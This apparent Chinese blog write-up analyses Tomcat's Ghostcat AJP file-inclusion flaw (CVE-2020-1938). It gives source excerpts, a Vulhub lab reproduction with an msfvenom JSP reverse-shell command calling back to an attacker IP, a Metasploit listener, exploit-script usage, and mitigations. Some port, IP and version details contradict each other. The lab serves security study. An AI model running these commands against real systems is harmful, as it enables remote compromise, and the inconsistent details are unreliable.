当前位置: 首页 > news >正文

CVE-2020-1938源码分析与漏洞复现(Tomcat 文件包含/读取)

漏洞概述

漏洞名称:Tomcat AJP协议文件包含/读取漏洞(Ghostcat)
CVE 编号:CVE-2020-1938
CVSS 评分:9.8
影响版本

  • Apache Tomcat 6.x (≤ 6.0.53)
  • Apache Tomcat 7.x (≤ 7.0.99)
  • Apache Tomcat 8.x (≤ 8.5.51)
  • Apache Tomcat 9.x (≤ 9.0.31)
    修复版本:≥ 7.0.100 / 8.5.52 / 9.0.31
    漏洞类型:文件包含/读取 → 可导致远程代码执行(RCE)
    根本原因:Tomcat AJP协议处理器未对请求路径做安全校验,攻击者通过构造恶意AJP请求可读取Web目录任意文件(含WEB-INF敏感文件),结合文件上传可执行任意代码。

漏洞原理与源码分析

1. 漏洞触发条件

  • 开启AJP服务:默认监听8009端口(conf/server.xml<Connector port="8009" protocol="AJP/1.3" />)。
  • 攻击可达性:攻击者需访问AJP端口(常暴露于内网,但公网容器可能误配置暴露)。

2. 关键源码定位

(1)AJP请求处理入口:AjpProcessor#process
代码路径org.apache.coyote.ajp.AjpProcessor

public SocketState process(SocketWrapper<Socket> socket)throws IOException {...prepareRequest(); // 解析AJP请求头..adapter.service(request, response); // 转发请求...}

漏洞点:未校验request_uriattributes的合法性,允许构造恶意路径。

(2)请求路由逻辑:CoyoteAdapter#service
代码路径org.apache.catalina.connector.CoyoteAdapter

public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) {...connector.getService().getContainer().getPipeline().getFirst().invoke(request, response); // 进入容器处理链...
}

(3)文件读取漏洞点:DefaultServlet#doGet
代码路径org.apache.catalina.servlets.DefaultServlet

 @Overrideprotected void doPost(HttpServletRequest request,HttpServletResponse response)throws IOException, ServletException {doGet(request, response);}
protected void serveResource(HttpServletRequest request,HttpServletResponse response,boolean content)throws IOException, ServletException {String path = getRelativePath(request);// 获取请求路径(可被恶意构造)...if (path.endsWith("/") || (path.endsWith("\\"))) {String requestUri = (String) request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI);if (requestUri == null) {requestUri = request.getRequestURI();}response.sendError(HttpServletResponse.SC_NOT_FOUND,requestUri);return;// 目录请求跳过}...// 关键:直接读取文件并返回内容(无路径校验)InputStream renderResult = null;if (cacheEntry.context != null) {if (serveContent) {          renderResult = render(getPathPrefix(request), cacheEntry);}}if (serveContent) {try {response.setBufferSize(output);} catch (IllegalStateException e) {}if (ostream != null) {if (!checkSendfile(request, response, cacheEntry, contentLength, null))copy(cacheEntry, renderResult, ostream);} else {copy(cacheEntry, renderResult, writer);}}

漏洞利用:通过AJP协议传递javax.servlet.include.path_info属性,可绕过路径限制访问WEB-INF目录。

3. 敏感文件读取机制

Tomcat安全限制:

  • 浏览器直接请求/WEB-INF/web.xml → 返回404错误(受conf/web.xml<servlet-mapping>保护)。
  • AJP协议绕过原理
    构造attributes
    {  javax.servlet.include.path_info: "/WEB-INF/web.xml",  javax.servlet.include.servlet_path: "/"  
    }  
    
    使DefaultServlet/WEB-INF/web.xml识别为合法路径,从而读取敏感文件。

漏洞利用方式

1. 攻击流程

攻击者 AJP端口(8009) AJP处理器 CoyoteAdapter DefaultServlet 文件系统 发送恶意AJP请求 解析请求 路由请求 读取WEB-INF/web.xml 返回敏感文件内容 攻击者 AJP端口(8009) AJP处理器 CoyoteAdapter DefaultServlet 文件系统

2. 两种利用场景

利用类型Payload示例影响
敏感文件读取读取WEB-INF/web.xml获取数据库密码信息泄露、权限提升
远程代码执行结合文件上传漏洞+文件包含执行JSP WebShell服务器完全沦陷

3. 利用工具与步骤

(1).使用 Vulhub 环境启动漏洞靶机
docker-compose up -d

在这里插入图片描述

(2)访问 http://target:8080,确认服务正常运行

在这里插入图片描述

(3)下载漏洞利用工具
(4)读取敏感文件
  • 用python2执行工具中的Tomcat-ROOT路径下文件读取(CVE-2020-1938).py
python Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.1.100
//换为自己靶场的ip

在这里插入图片描述

  • 读取到敏感文件
    (5)下面模拟结合文件上传,实现反弹shell
  • kail生成payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.102 LPORT=6666 -f raw > shell.txt

在这里插入图片描述

(6)由于是模拟文件上传,所以这里直接将shell.txt,复制到靶机容器中
docker cp shell.txt 容器id:/usr/local/tomcat/webapps/ROOT/WEB-INF/

在这里插入图片描述

(7)kali开启监听
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 # kali的IP
set lport 4444 # 监听端口
run

在这里插入图片描述

(8)利用之前的工具包含shell.txt
python 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.1.100
(9)成功getshell

在这里插入图片描述


影响范围与修复方案

1. 受影响版本

Tomcat 分支受影响版本安全版本
6.x≤ 6.0.53无官方修复(EOL)
7.x≤ 7.0.99≥ 7.0.100
8.x≤ 8.5.51≥ 8.5.52
9.x≤ 9.0.31≥ 9.0.31

2. 官方修复方案

  • 补丁提交:修订记录
  • 修复逻辑
    1. 禁用javax.servlet.include.*属性(AjpProcessor):
      // 检查并拒绝包含敏感属性
      if (request.getAttribute(Globals.REQUEST_DISPATCHER_PATH_ATTR) != null) {response.setStatus(403); // 直接返回403禁止return;
      }  
      
    2. 增加requiredSecret认证(强制AJP连接配置密码)。

3. 临时缓解措施

  1. 关闭AJP服务
    <!-- conf/server.xml -->  
    <!-- 注释AJP Connector -->  
    <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->  
    
  2. 网络隔离
    • 防火墙限制8009端口仅允许可信IP访问。
  3. 升级中间件
    • 使用Nginx反向代理并过滤恶意请求。

漏洞启示

  1. 最小化暴露:非必要网络服务(如AJP)应默认关闭。
  2. 协议安全性:二进制协议需严格校验属性合法性。
  3. 纵深防御:敏感目录(WEB-INF)的访问控制需在多层实现(容器/代码/网络)。

参考链接

  1. CVE-2020-1938 官方通告(Apache Tomcat)
  2. 漏洞原理深度解析(长亭科技)
  3. 源码分析与补丁解读(知乎专栏)
  4. Tomcat CVE-2020-1938 漏洞复现和利用过程(csdn)
http://www.xdnf.cn/news/994519.html

相关文章:

  • 【自建grafana接入阿里云sls】
  • 力扣HOT100之终章:一些随笔
  • LeetCode 3423.循环数组中相邻元素的最大差值:遍历(模拟)
  • wordpress首页调用指定ID页面内的相册
  • 如何有效监控JVM环境,保障应用性能
  • 使用COMSOL生成数据与DeepONet学习静电场电势分布
  • 【消息队列】——Kafka如何保证配置下发的一致性
  • 博图SCL语言教程:灵活加、减计数制作自己的增减计数器(CTUD)
  • 智能云打印机EN 18031申请认证流程
  • Mongodb学习(Windows版本)
  • MongoDB 安装实践:基于鲲鹏 ARM 架构 Ubuntu 环境
  • 需求文档:边缘计算机软件重装与物联网登录应用开发
  • 【新能源汽车技术全景解析:构建智能出行新生态】
  • 华为云Flexus+DeepSeek征文| 基于Dify-LLM平台应用实践:创建智能知识库问答助手
  • 离线部署openstack 2024.1控制节点基础服务
  • Webpack 剖析与策略
  • 部署http服务
  • Redis+Kafka实现动态延时任务
  • Java项目中订单未支付过期如何实现自动关单
  • 68、.NET Entity Framework(EF)
  • Hugo 自动化部署实战-部署 Hugo 到 Netlify
  • .NET 类库开发详细指南c
  • [python] 使用python设计滤波器
  • uniapp小程序不支持动态组件问题
  • Flask 应用中执行指定 JavaScript 脚本
  • 小程序【页面离开、页面卸载】对比区分
  • 知识经济时代IP破局之道:创客匠人赋能内容创业者构建商业闭环
  • 双系统(win+linux)根目录扩容(不掉GPU驱动)
  • 【C++】ImGui:不足半兆的桌面程序
  • Cloudflare SaaS 功能 ip 优选原理